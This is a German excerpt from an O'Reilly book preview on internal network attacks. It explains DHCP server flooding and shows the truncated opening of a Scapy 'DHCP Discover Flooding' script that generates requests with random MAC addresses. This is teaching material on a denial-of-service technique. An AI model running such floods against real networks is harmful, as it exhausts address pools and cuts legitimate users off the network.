DHCP-Praxis

In diesem Abschnitt verwenden wir wie gewohnt das Python-Modul Scapy, um die Theorie in die Praxis umzusetzen. Da DHCP uns zwei verschiedene Vektoren bietet, werden wir auch zwei unterschiedliche Skripten erstellen.

Der einfachere von beiden Angriffen ist das Flooden[27] des DHCP-Servers. Dazu müssen lediglich Anfragen mit frei erfundenen MAC-Adressen generiert werden.

Beispiel 5-5. DHCP Discover Flooding-Skript

from scapy import * from sys import argv from sys import exit # Überprüfe die Kommandozeilenparameter if len(argv) != 3 or (argv[2] != "discover" and argv[2] != "request"): print "Usage:\n\tdhcp.py [number of packets] [discover/request]" exit(0) x = 0 while x < int(argv[1]): x += 1 # Generieren einer zufälligen MAC tmp_mac = RandMAC() ...

Get Netzwerkangriffe von innen now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.